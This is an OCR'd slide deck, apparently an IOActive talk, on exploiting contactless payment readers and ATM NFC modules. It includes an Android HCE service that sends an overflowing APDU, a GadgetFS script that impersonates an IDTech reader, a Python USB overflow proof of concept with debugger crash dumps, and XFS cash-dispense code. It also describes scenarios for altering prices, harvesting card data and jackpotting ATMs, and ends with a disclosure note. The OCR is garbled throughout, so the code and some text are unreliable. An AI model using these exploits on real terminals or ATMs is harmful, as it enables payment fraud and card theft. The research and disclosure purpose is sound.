[/
7

£
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Google Pixel for the rescue:

 Show 16@ common lines  +1@ below
161 #define GKI_BUF2_MAX 45
162 #endif
163
164 /* The ID of buffer pool 2. */
165 #ifndef GKI_POOL_ID_2
166 #define GKI_POOL_ID_2 2
167 #endif
168
169 /* The size of the buffers in pool 3. */
176 #ifndef GKI_BUF3_SIZE
171 #define GKI_BUF3_SIZE 2568
172 #endif
173
174 /* The number of buffers in buffer pool 3. */
175 #ifndef GKI_BUF3_MAX
176 #define GKI_BUF3_MAX 30
177 #endif
178
179 /* The ID of buffer pool 3. */
180 #ifndef GKI_POOL_ID_3
181 #define GKI_POOL_ID_3 3

me/learningnets

161
162
163
164
165
166
167
168
169
176
m
172
173
174
175
176
177
178
179
180
181

ON= O

C Show 168 common lines  +1@ below

itdefine GKI_BUF2_MAX 45
itendif

/* The ID of buffer pool 2. */
#ifndef GKI_POOL_ID_2

#tdefine GKI_POOL_ID_2 2

itendif

/* The size of the buffers in pool 3. */
#ifndef GKI_BUF3_SIZE

#tdefine GKI_BUF3_SIZE (@xFFB@)

itendif

/* The number of buffers in buffer pool 3. */
#ifndef GKI_BUF3_MAX

#tdefine GKI_BUF3_MAX 3@

iendif

/* The ID of buffer pool 3. */

#ifndef GKI_POOL_ID_3
itdefine GKI_POOL_ID_3 3

©2023 10Active, Inc. All rights reserved
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Create your own Android app using Host Card Emulation:

import ...
public class MyHCEService extends HostApduService {

String AID = "325041592E5359532E4444463031";
String resp = "6F8206E9848206D041414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414

private static final String TAG = "MyHCEService";

@Override
public void onDeactivated(int arg@) {

Log.i(TAG, msg: "OnDeactivated - arg0 : " + String.valueOf(arg@));
// TODO Auto-generated method stub

}

@Override
public byte[] processCommandApdu(byte[] arg®d, Bundle argl) {

Log.i(TAG, msg: "Hooza ! processCommandApdu");

String hexCommandApdu = Utils.bytesToHexString(arg@);

Log.i(TAG, msg: "hexCommandApdu is: " + hexCommandApdu );
//Log.1i(TAG, "substr is : " + hexCommandApdu.substring(11, 11) );

//if (hexCommandApdu == "00a404000e325041592e5359532e444446303100") { u
Log.i(TAG, msg: "AID FOUND!");
Log.i(TAG, msg: "Sending: " + resp);
return Utils.hexStringToBytes( ) ;

//7}

//return argo;

A

el

£
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VULNERABILITIES

(gdb) x/20i $pc
=> 0x515a6: [dmia.w sp!, {r4, r5, 16, r7, r8, r9, r10, r11, pc}
0x515aa: nop

0x515ac: stc 0, cr2, [r8], {0}

0x515b0: ; <UNDEFINED> instruction: 0xb8b4
0x515b2: movs r6, r0

0x515b4: ; <UNDEFINED> instruction: 0xf6582000
0x515b8: strh r4, [r4, #44] ; 0x2c

0x515ba: movs r0, #0

0x515bc: stmdb sp!, {r4, r5, 16, r7, r8, r9, r10, r11, Ir}
(gdb) ni

0x41414140in ?? ()

(gdb) info reg

r0 0x0 0

r1 0x3 3

r2 0x10 16

r3 0x3 3

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

4 r11 0x41414141 1094795585
-0 r12 0x9f544944 -1621866172
w sp Ox1fff5a38 O0x1fff5a38

2 Ir 0x39b43 236355

./ v‘;:«?'.-»ﬁ'ﬂ

pc 0x41414140 0x41414140

We can send OxFFFF (65.000) bytes of ARM instructions to modify the firmware
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VULNERABILITIES

This stack buffer overflow is present in 21 different functions (Kiosk Il firmware).

Reachable in other stages of an EMV transaction:

igned int __fastcall sub_4226C(int *al, _BYTE *a2)

1
2
3| dint *v2; // r5@l

4 _BYTE *v3; [/ ragl

5/ unsigned int v4; // r0@l

6 char *v5; // rl@a

7| int we; /f/ r3@s

a bool v7; [/ =zf@s

9 char v8; [/ ro@9

10| char v10; // [sp+Ch] [bp- @l
11| char v11; // [sp+Dh] [bp-
12| char v12; // [spt+Eh] [bp-
13| char v13; // [sptFh] [bp- 1@
14| char vl4; // [sp+10h] [bp-138h]@1
15| char v15; // [sp+11lh] [bp-137h]@1
16| char vl16; // [sp+l2h] [bp-136h]@l
17| char v17; // [sp+19h] [bp-12Fh]@l
18| char wl8; // [spt+2Ch] [bp-11Ch]g@l

20 v2 = al;
21 wlo = al[2];
22 v3 = a2;

23| w1l = 0;
% ] 24 wvlz = -92;
h‘ vli3 = 4;
. 26| wvla = 0;
‘Ei 27 wls = 7;
b‘q 28 sub_2B82C((int)&vl6, &unk_428B4, Tu);

29 w17 0;
30 v4 = recv_card(*v2, (int)&vl0, 14, (unsigned __int8® *)&vl8, 272, v2 + 5, 0);
31 4if ( v2[5] == 15 || *(&vld + wv4) )
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VULNERABILITIES

Vulnerability tested in the following devices:

Kiosklll bought from HappyATMs shop. W B o visA
Kiosklll brand new bought from IDtech.
KiosklV brand new bought from IDtech.
VP8300 brand new bought from |IDtech.

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACt|V9®



VULNERABILITIES

Vulnerability tested in the following devices:

Video of Kiosk IV crashing
Video of VP3300 crashing

P
»
S
5
> Al
5 »
1
d
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VULNERABLE VENDORS

* Using the same proof of concept used for IDTECH

* Most of the biggets vendors had the same vulnerability.
* Stack buffer overflow & Heap buffer overflow.
 Baremetal firmware, RTOS, Android, Linux,

5@%@‘ Al

N B T

4"’ "3«5;’ B e

’M;‘ﬁi i ATSE e S i
4

\
\’
>~
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VULNERABLE DEVICES

* Ingenico
Several Ingenico devices affected.

Our global footprint

¢ 37 & st 1,000
Active in 37 countries Global market leader in POS Banks and acquirers
2,500+ 40 Milli 5% 4,000

N ) imon g &
Payment apps Terminals deployed worldwide Employees worldwide

®@® 60 Il 80

Offices

me/learningnets
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=S

* Ingenico
Ingenico Video

u
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VULNERABLE DEVICES

* \erifone
Several Verifone devices affected.

H 3
" 5 " . .
Industry Solutions Payment Services Payment Devices o Verlfone News Contact Us Support Partners Q Search

VERIFONE PAYMENT DEVICES

Payment Terminals

« A Aywide range of payment terminals starting from countertop terpinals, mobile

terminals & portable ter: mmalﬁ

Contact Us

Small Business? Would you like a
customised quote?
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* Crane payment innovations

Explore what CPI can solve for your market

RETAIL SELF-SERVICE KIOSKS GAMING & CASINO VENDING FINANCIAL TRANSPORTATION &
INSTITUTIONS PARKING

RETAIL

Count on Us

Consumers want fast, flexible solutions that keep them moving.
Associates want to perform value-add work. At CPI, we want it
all. That's why we develop integrated technologies that keep you
moving. Our portfolio includes everything from self-checkout,
custom kiosks, and attended lane automation to smart safes,
cash processing and fourth wall revenue solutions. We have
everything you need for productivity and peace of mind.
Collaboration with diverse partners means we satisfy the
requirements of the global retail market and help you focus on

what matters.
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VULNERABLE DEVICES

[ ) B B P O S ABOUT BBPOS PRODUCTS v SECURITY }?ﬂzﬁ INDUSTRY v PRESS CONTACT
Supplier Of POS
Terminals Globally

Q, Search

Ranked

#4

w‘ Ranked
#24

| v'

' Latin‘Ametica
Total:2,380,0

L (=

“:;}S‘tates - ‘Pacific -
lotal: 573,000‘ _ Total: 298,000 SR g

Source: Nilson Report Sep 2019
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VULNERABLE DEVICES M
» WISEASY

Hardware Cloud & Software Banca Digital Soluciones Servicios Acerca De Nosotros &

|

o 2y Digital Banking and

Payment Builder > Espanol A

4

P Series
N Series N E W
T Series
BOT Series
Q Series
R Series P5  Android POS Con EMV P5L  Android Mini POS Con EMV P3  Android POS Con EMV
Accesorios
All Hardware :
i =
E,
P3M Android Mini POS Con EMV P3QT Android Mini POS Con EMV
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VULNERABLE DEVICES
* NEXGO

‘l NEXGO Products Solutions Scene About Contact Q @ worldwide v

Smart POS Portable Desktop,PIN Pad miniPOS, mPOS Unattended & Kiosk QR Terminals Smart ECR Accessories

% M
| B
M. - oWy, SEPRC

N5 N6 N6 Countertop @D

‘E"l}'f
)
\“
o

el

£

All Products
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IMPACT

Reader firmware completely compromised:

« Modify firmware to change price of current or future transactions.
« Modify firmware to steal future credit card info read by the reader.
* Modify firmware to attack the SDK running in the Host connected over USB.
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IMPACT

« Modify firmware to change price of current or future transactions:

2. Reader sends message with
1. Send start transaction price to credit card

command (with price) to
reader over USB
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IMPACT

« Modify firmware to change price of current or future transactions:

2. Attacker compromise

1. Send start transaction firmware with Android phone.
command (with price) to Modify firmware to change
reader over USB price of future transactions.

/

4

L
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IMPACT

« Modify firmware to change price of current or future transactions:

1. Send start transaction 2. Next transactions will have The price shown in the screen will be the original
command (with price) to modified price (higher or lower
reader over USB price)

3. This could be an
attacker buying

(P something cheaper or
& - (((( @ legitimate buyers,

getting a price of 0.5%
for any purchase.
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IMPACT

« Modify firmware to steal future credit card info read by the reader: v

1. Onlv possible in contactless MSD (Magnetic Stripe Data) transactions.

3. Contactless Issuance Requirements

Contactless MSD-only card issuance is not allowed by payment networks. Contactless operating mode
requirements apply to all cardholder devices regardless of form factor (card vs. mobile).

The payment-network-specific contactless operating mode requirements that are applicable to card
issuance are included in the table below.

U.S. Issuance

Non-U.S. Issuance

American Express

Contactless EMV mode is required and
contactless MSD mode is recommended in
addition to EMV. The issuer can configure
the card to contactless EMV mode only or
both.

Contactless EMV mode is required and
contactless MSD mode is recommended in
addition to EMV. The issuer can configure
the card to contactless EMV mode only or
both.

China Union Pay

Only contactless EMV mode is allowed on
contactless cards. China UnionPay does not
have a contactless MSD product.

Only contactless EMV mode is allowed on
contactless cards. China UnionPay does not
have a contactless MSD product.

Discover

Both contactless EMV and MSD modes must
be supported.

U.S. Common Debit AID is not applicable for
contactless MSD mode.

Contactless EMV mode is required.
Contactless MSD mode is optional.

Jcs

N/A

Only contactless EMV mode is allowed on
contactless cards.

Mastercard

Both contactless EMV and MSD modes must
be supported on the global Mastercard AID.

Cirrus and Maestro AID must support
contactless EMV mode and must not
support contactless MSD mode.

Contactless EMV mode must be supported
and contactless MSD mode must not be
supported on the U.S. Common Debit AID.

Contactless EMV mode must be supported
and contactless MSD mode support is
optional on the global Mastercard AID.

Cirrus and Maestro AID must support
contactless EMV mode and must not
support contactless MSD mode.

Visa

Contactless EMV is required and contactless
MSD is recommended.

Contactless EMV mode is required.
Contactless MSD is not allowed.

me/learningnets

Q Contactless Operating Mode Requirements Clarification
Publication Date: February 2020

e Download the white paper

As contactless payments continue to take hold in the U.S., many merchants and issuers are looking to provide these
capabilities to their customers. Contactless emerged in the U.S. before the migration to EMV chip technology and, as
a result, two operating modes coexist today: contactless magnetic stripe data (MSD), and contactless EMV.
Contactless MSD is being phased out as merchants, acquirers and issuers are now capable of processing full EMV
chip data. The U.S. is now in a transitional period with both modes active, creating a complex environment for

merchants and issuers to navigate when trying to align to each of the payment network’s rules.

This U.S. Payments Forum white paper provides a resource to help merchants, issuers and acquirers understand the
contactless operating mode rules set by each of the payment networks.

The white paper provides:

* An overview of contactless EMV and contactless MSD technologies
* Tables with a summary of each payment network’s current contactless requirements for issuing contactless cards
and devices and accepting contactless payments

u
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IMPACT

« Modify firmware to steal future credit card info read by the reader:

1. MSD transactions Track1&Track?2

Card number and expiration date

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®



IMPACT

« Modify firmware to steal future credit card info read by the reader:

1. Attacker modifies firmware
with Android phone.

2. Firmware modification will
store in the internal/external
)))) flash or RAM every future card
data in MSD transactions.

(( @ 3. Legitimate users use their
cards to buy stuff.

=

el

O
)
D2 “
o

L >t A 4 Attacker comes back

p 5. If reader has internet to reader and send

.‘ connection, then it specific APDU

.ﬁ could send the cards )) command. The reader

‘gg data to the attacker's will send him back all
%% server. the cards info stored.
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IMPACT

- DEMO OF WEAPONIZED EXPLOIT:
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IMPACT

* Modify firmware to attack the SDK running in the Host connected over US

2. Firmware modification will

exploit potential vulnerabilites 1. Attacker modifies firmware
in HOST running the SDK with Android phone.
sending specific payloads over
USB to the HOST 3 3
HOST -

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe@



IMPACT

» IDtech’s Universal SDK (Windows & Linux):

|dtech’s SDK APl in libidtechSDK.dII

::cout << "could not load dynamic library << std::endl;

::cout << "Get Last Error : " << GetLastError(

device_init ( Ll )GetProcAddress(hGetProcIDDLL,
e device_getFirmwareVersion = t
] contig_getserialNumper = (
ctls_getAllConfigurationGroups =
ret = device_init();

f (ret
printf ("

device_getFirmwareVersion(strl);

L
. ) printf(“firmware is % strl);
me/learningne ©2023 IOActive, Inc. All rights reserved. IOAc'tI‘,e®




IMPACT

|IDtech’s Universal SDK (Windows & Linux):

|dtech’s SDK APl in libidtechSDK.dII

1. User's program
calls Device_init( )

2. libIDtechSDK.dII

sends USB payload
to device 0002 00 01
HOST

-

3. libIDtechSDK.dII
process response

F 00 02 00 00
from device

me/learningnets

u
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IMPACT

Device _init ()
Get _firmware ()
Start_transaction ()

| + Attacker relies on when any SDK vulnerable APl is called by User’s program to
" successfully attack the HOST at any given time.

Device_init( ) It is always used to start the communications. Best choice.
Attacker’s compromise the firmware of reader then:

£ 1. Disconnect device from HOST via software
2. Reconnect, then libidtechSDK.dIl device _init( ) will be called by HOST

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACt|V9®



IMPACT

* Device_init ()

VRG
(g

(@)
=S

If it is @ NEO device (specific VID&PID) then call device setCurrentDevice( )

el

£

else if ( vie == @xlese )
{
s_device_type = 8;
s_device_protocol = 1;
IDT_LOG_MESSAGE(2, "IDT_DEVICE_L188 connected\n”, @, @, @, @, 8, @, v15);
goto LABEL_112;

}
}
if ( neo2_count <= 4 )
{
for (7 =@; j < xml_devices_cnt; ++j )
if ( *(_DWORD *)&USE_PIDS[4 * *(_DWORD * == pids[i] )
s_device_type = neo2_count + 21;
s_device_protocol = 2;
IDT_LOG_MESSAGE(2, “IDT_DEVICE_NEO2 ¥s connected\n”, @, @, @, @, @, @, (unsigned int)&names[3@ * j]);
strepy((char *)&d_handles + 6@ * s_device_type + 24, &names[3@0 * j]);
dword_6BEB9DBR[15 * s_device_type + 2] = pids[j];
++neo2_count;
break; |
}
}
else

IDT_LOG_MESSAGE(2, "More than 5 NEO2 devices!!!!\n", @, @, @, @, 8, @, v15);

IDT_LOG_MESSAGE(2, "Device @x@ACD @x¥%4X connected\n”, @, @, @, @, @, @, *(_DWORD *)&USB_PIDS[4 * *(_DWORD *
LABEL_112:

D *)&d_handles + 15 * s_device_type + 3) = s_device_type;

D *)&unk_6BEB9D9@ + 15 * s_device_type + 1) = 1;

| D *)&_handles + 15 * s_device_type) = v22

if ( !'*((_BYTE *)&unk_6BE89D92 + 6@ * s_device_type + 8) && getDeviceName(s_device_type, &v21) )
strepy((char *)&d_handles + 6@ * s_device_type + 24, &v21);

if ( !*(_DwWORD *) &% !device_setCurrentDevice(s_device_type, s_device_type) )

#
[=]=

me/learningnets

{
v1l = (unsigned int)getDeviceType(s device type): I A -
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IMPACT

» Device_setcurrentdevice ()

a2=s_device_type

if (22 > 20 88 22 <= 25 || 22 > 29 && 22 <= 34 )
i

va = @;
2;
v17 = device_ SendDataCommandNEO(1l, 5, @, @, &9, (int)&vE);
if ( !vl7 &8 vB == 2 )
extLCDMessage = (v2 & 8) != @;

=]
Vo

J 5 XA
AN D
0 LTI 2 SN

= vl7 = device_getFirmwareVersion(&v5);
< if ( lvi7
B (117 )
%Oiﬁ

/[

V'Y
£
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IMPACT

» device_SendDataCommandNeo( )

68 case 25:
61 case 28:
62 case 29:
63 case 3@:
64 case 31:
65 case 32:
66 case 33:
57| case 34: DolDGCMD_str () sends the USB payload to the readers and gets the response.
® 63 isCommandRunning = 1;
.o if ( AutoPollon ) Based on th t ived, DoIDGCMD_str( ) will not read than 1024 bytes from the devi
® 7o mssleep(0x96u); ased on the arguments received, Do _str( ) will not read more than ytes from the device.
® 71 ignorelCDMessage =
® 72 v1l5 = DoIDGCMD_stf((unsigned _ int8)al, (unsigned _ int8)al, (unsigned _ int8)a2, a3, a4, &v1@, (int)&v9, 3);
® 73 ignorelL(DMessage = @;
® 74 isCommandRunning = @;
® 75 if (w15 )
o~ 76
¥ ® 77 result = v1S;
¥ N ;9 else if ( (signed int)v9 <= 14 )
S 30
9 ® 31 result = 185
e 82 }
‘&‘! e else if ( vil )
?ﬁ«:‘w sl ;5 *(_DWORD *)s_FM_error_code = v11; ; P H P ’
; o o T - ) S - Size of memcpy (ab6) is 2 bytes received from device response’s message.
» Z] 87 }
‘% 2155 Source of memcpy (&v14) is the payload received from the device.
<@ * 50 *(_DWORD *)a6 = v13 | (vi2 << 8);
.4"1 ® 91 memcpy (a5, &v14, *( DWORD *)a6); But, how big is the destination buffer (a5) ? Let’s go back to Device setcurrentdevice
‘ ® o 1 2] -
92 result = @;
"\ a3 }
L ® a4 hreak:
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IMPACT

» Device_setcurrentdevice ()

H
2;

if ( 1vi7 )

=

3

-
)

.

N)

i

£

me/learningnets

&v9 is the buffer passed to device_SendDataCommandNEO( )

if ( 22 > 28 &% a2 <= 25 || a2 > 29 && =2 <= 34 )

v17 = device_SendDataCommandNECO(l, 5, @, @, &9, (int)&va);
if ( !vl7 8% v == 2 )

extLCDMessage = (v©
v1l7 = device_getFirmwareVersion(&vS);

v9 is at ebp-52h, which means that if the device’s response is bigger
than 0x56 we can overflow the stack and overwrite the saved return address.

__intle B; N7, [ p+l”‘0h] [ebp-52h]
int vle; // [esp+1928h] [ebp-5@h]
int v11; // [esp+192Ch] [ebp-4Ch]
int v12; // [esp+1938h] [ebp-48h]
char v13; // [es 1+J.LI_-|:h] [ebp-42h]
char vi4; // [esp+1937h] [ebp-41h]

[
[
size_t v15; // [esp+1938h] [ebp-48h]
char v16; // [esp+193Eh] [ebp-3Ah]
int v17; // [esp+195Ch] [ebp-1Ch]
int v18; // [esp+1968h] [ebp-18h]
int wvi9; // ["p+l’°l4h] [ebp-14h]
int v28; [/ [esp+1968h] [ebp-18h]

int i; /Jf' [ sp+ +196Ch :| ['-'L‘IP Lh] e .3, Inc. All rights reserved. IOACtlve




IMPACT

Attack chain

3. User’s program
calls Device_init( )

4. libIDtechSDK.dII
sends USB payload
to device 00020001
HOST >
. N — ;F “% -..
\..J“ - [}
‘ﬁ;! 7. Code execution
o achiveved in HOST. EXPLOIT
-

Lo

usb payload to exploit the
vulnerability in the HOST

me/learningnets

2. Modified firmware resets the
USB connection.
1. Attacker modifies firmware
with Android phone.

b4
"))

5. Modified firmware changed
the VID&PID to act as a NEO
device so it can trigger the
stack overflow in the HOST.

6. Modified firmware sends the

u
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IMPACT

Attack the SDK using a raspberryPl&gadgetFS connected to the target
(Requires physical access to the USB port/cable).

1. User's program
calls Device_init( )

3. Pl with gadgetFS will
2. libiDtechSDK.dIl emulate the IDtech device.

sends USB payload ?nd f:looeisv_? the USB message
to device 00 02 00 01 et -

HOST | :
¥7‘-%. - :

5. Code execution

achiveved in HOST. EXPLOIT

4. Pi will send the exploit to the
HOST.

u
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me/learningnets



IMPACT

GadgetFS config:

#l/bin/bash echo 0 > functions/hid.usb0/protocol

modprobe libcomposite echo 255 > functions/hid.usbO/report_length #

cd /sys/kernel/config/usb_gadget/ echo 0 > functions/hid.usb0/subclass

mkdir g && cd g

echo Ox0ACD > idVendor echo

echo 0x4610 > idProduct "0600FF0901A10185010600FF090126FF001500953F750882020109019202018502

0901820201090192020185030901820201090192020185040901820201090192020

echo 0x0100 > bedDevice # v1.0.0 1C0" | xxd -r -ps > functions/hid.usbO/report_desc

echo 0x0200 > bcdUSB # USB2

mkdir -p strings/0x409 echo 0xCO > configs/c.1/bmAttributes

echo "643T0423400000" > strings/0x409/serialnumber echo "Default Configuration" > configs/c.1/strings/0x409/configuration
echo "ID TECH" > strings/0x409/manufacturer In -s functions/hid.usb0 configs/c.1

echo "ID TECH Kiosk llI" > strings/0x409/product #mkdir -p functions/acm.usb0 # serial

echo 0x00 > bDeviceClass #mkdir -p functions/rndis.usb0 # network

echo 0x00 > bDeviceSubClass #In -s functions/rndis.usb0 configs/c.1/

#In -s functions/acm.usb0 configs/c.1/
udevadm settle -t 5 || :
Is /sys/class/udc/ > UDC

echo 0x00 > bDeviceProtocol
echo 0x0040 > bMaxPacketSize0
mkdir -p configs/c.1

mkdir configs/c.1/strings/0x409
echo 0 > configs/c.1/MaxPower
mkdir -p functions/hid.usb0

| )&

1

49

4
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IMPACT

P OC os.write(dev.fileno(),send)

print "HIT"

send = "\x03" + "\x41" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x42" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x43" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)

import os,binascii

dev = open("/dev/hidg0",'wb+")
while True:

n =64

data = dev.read(n)

rcv = binascii.hexlify(data)
print rcv

If rev ==
"015669564174656368320001050000a3f90000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000":

send = » Wy "o

"X02\x56\x69\x56\x4f\x74\x65\x63\x68\x32\x00\x0 1\x00\X03\XCO\XAxe4\x01\x01\x 9 send ="x03" + "\x44" * 63
X06\x07\xa0\x00\x00\x00\x04\x10\x10\xffixe 1\x01\x01\xff\xe5\x01\x 1 0\xffixea\x0 1\x0 os.write(dev.fileno(),send)
2\xffixe3\x01\x74\xfAxe9\x0c\x02\x00\x01\x02\x20\x01\x02\x0 1\x0 1\X02\x09\x0 1 \xffix send = "03" + "\x44" * 63
e2\x01\x03" os.write(dev.fileno(),send)

send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x03" + "\x44" * 63
os.write(dev.fileno(),send)
send = "\x04" + "\x44" * 63
os.write(dev.fileno(),send)

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®
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IMPACT

POC:
HOST

urrent me

me/learningnets

current me

2] Pid 14112 - WinDbg:10.0.17763.132 AMD64
File Edit View Debug Window Help

5 | RERERE SENRT RN N LN

A EEEEOBE[ER A E

Command

*%% ERROR: Symbol file could not be found. Defaulted to export symbols for C:“\Program Files (z86) IDTech \Windows“IDTechSDK_Demo.exe —
1ibIDTechSDE_dll_1_0!device_setCurrentDevice+0x543

6bdfa93f eBcdbbffff call 1ibIDTechSDE_dll_1_0!device SendDataCommandNEOQ (6bdf1008)

0:000:x86> dc esp

0245ele0 00000001 00000005 00000000 00000000

0245e1f0 0245fb06 0245fb00 00000200 024522c4 E E E

02452200 77849425 00000003 00000000 00000002 #%..w

02452210 0245e27c 02452228 00000000 00000000 |.E.(.E.

02452220 77849d83 02452398 00000040 00000000 w. . E.@

02452230 00000000 00000000 00000000 00000000

02452240 00000000 00000000 00000000 0OOOOOOD ........

02452250 EIEIDI]I]I]I]I] 00000000 00000000 00000000

0:000:=86>

llbIDTEDhSDK dll_1_| D‘devi:a setCurrentDevice+0x548:

tbdfa944 8945ed ov dword ptr [ebp-1Ch].eax ss:002b:0245fb3c=41414141

0:000:%86> do 0245£506 170

0245ib06  01l0ledff a007069f 04000000 elf£1010 . ....... o

0245bl6 e5££0101 eaff1001 =3££0201 e9££7401 e t

0245£b26 0100020c 02012002 09020101 01e2££01

0245ib36 41414103 41414141 41414141 41414141  AAAARAARAAARAAL

0245£b46 41414141 41414141 41414141 41414141 ARAAAAAAARAARAAL

0245£b56 41414141 41414141 41414141 41414141 ARAAAAAARAAARAAL

0245b66 41414141 41414141 41414141 41414141 AAAAAAAAAAARALA

0245£b76 42424242 42424242 42424242 42424242 EEBBEBBEEBEEBBEB

0245£b86 42424242 42424242 42424242 42424242 EBEEEBBEEEEEEBEB

0245ib36 42424242 42424242 42424242 42424242 EBEEEBBEEEEEEEEE

0245fbab 42424242 42424242 42424242 43424242 EBBBEBBEEBEEBBEC

0245£bb6 43434343 43434343 43434343 43434343  CCCCCCCCCCCCCCCC

0245ibct 43434343 43434343 43434343 43434343 COCCOCCCCOCCOCCC
43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
43434343 43434343 43434343 44444343 CCCCCCCCCCCCCCDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD

0:000:x865 g

(3720.2934) Access violation — code 0000005 (first chance)

First chance esceptions are reported before any exception handling

This exception may be expected and handled.

41414141 77

0:000:%86> kv

# ChildEBP Retaddr Args to Child

VARNING: Frame IP not ny known module. Following frames may be wrong

0245£b50 41414141 41414141 41414141 41414141 Oxd1414141

0245£b60 41414141 41414141 41414141 41414141 O0xd1414141

0245£b64 41414141 41414141 41414141 42424141 0x41414141

]
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IMPACT

More than 20 exploitable stack buffer overflows in the SDK.

Blog posts will cover some of the other ones with POCs and Demos.
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ATM SCENARIO
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ATM SCENARIO:

» More than 8 years of experience jackpotting ATMs:

ATM device’s drivers reverse engineering.
ATM devices'’s firmware reverse engineering.
USB communications reverse engineering.
XFS coding skills to jackpot.

Some of the most important worldwide ATM brands with contactless uses
|dtech readers:

NCR
WINCOR/DIEBOLD
FUJITSU
HYOSUNG

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACt|V9®



ATM SCENARIO:

US ATMs uses contactless MSD to read the card (if card supports it):

1. Attacker modifies firmware
with Android phone.

Track1/Track?2 s
2. Firmware modification will
store in the intemal/external

flash or RAM every future card

)) data in MSD transactions.

3. Legitimate users use their
(( cards with the ATM

4 Attacker comes back

to reader and send
)))) specific APDU

command. The reader

will send him back all
the cards info stored.

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe@



ATM SCENARIO:

ATM jackpot:

s
1

| NP

O Miky o

Pro

P

/[

Lol
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ATM SCENARIO:

Compromise of the ATM computer:

« Exploiting vulnerabilities in the SDK/Driver responsible for the NFC reader comms.

me/learningnets o ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®



ATM SCENARIQ:

Compromise of the ATM computer:

« Exploiting vulnerabilities in other USB Drivers/Software running in the ATM,
acting as another device (modifying the VID&PID of the firmware).

Modify firmware to act as
the ATM printer or any
Ml Windows 0002 00 01 other device that a driver

< will connect to.

b4
") I

- 10Active.
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ATM SCENARIO:

ATM jackpot:

| |
="
S
O
—_— YO

ATM Computer compromised:

Ml Windows 00 02 00 01
m— -
o
EXPLOIT
F o
5
]
@
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ATM SCENARIO:

ATM jackpot:

Windows-based XFS APls Register

c— * Open
Application =
Or

XFS Manager Service
Providers

XFS SPIs ~Register
Open
Execute

me/learningnets ©2023 I0AGtive, Inc. All ights reserved. IOACtlve@



ATM SCENARIO:

result = WFSOpen(1lpszLogicalName, 1lphApp, NULL, NULL, NULL, dwSrvcVersionsRequired, lpSrvcVersion, NULL, lphService);

ATM jackpot:

LPWFSRESULT lppResult;

result = WFSGetInfo(xlphService, 303, NULL, NULL, (charx)&lppResult);

LPWFSCDMCUINFO lpCashUnitInfo = NULL;
LPWFSCDMCASHUNIT 1lppList = NULL;
WFSCDMDISPENSE tDispense;
WFSCDMDENOMINATION tDenomination;
int casettenumber, numofbills;
char lpCmdData[2000] = { @ };
char currency[3] = { 0 };
unsigned long m_ulCount;

unsigned long m_ulValue;

USHORT usNumber;

unsigned long usType;

1pCashUnitInfo = (LPWFSCDMCUINFO)lppResult—>1pBuffer;
unsigned short usCount = lpCashUnitInfo->usCount;

(int i = 0; i < usCount; i++) {
int offset = i;
lppList = (LPWFSCDMCASHUNIT) (*(1lpCashUnitInfo—>1ppList + offset));
usNumber = lppList->usNumber;
m_ulCount = lppList->ulCount;
m_ulValue = lppList->ulValues;
1 1p s

_me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtlve®




ATM SCENARIO:

No demos can be shown (NDAs involved).

Can’t specify which ATM vendor | tested (driver).

If you have concerns:

- Check if your ATM NFC reader is still vulnerable.

- Check the driver/SDK used to communicate with the NFC
reader.

m
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DISCLOSURE:

* We contacted all affected vendors.
 All of them said they fixed the issues.

* We tested some fixes provided to us, but not from all
vendors.

* We waited almost 2 years to give time to patch the
affected devices.
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QUESTIONS:

Thank you.

Josep.rodriguez@ioactive.com
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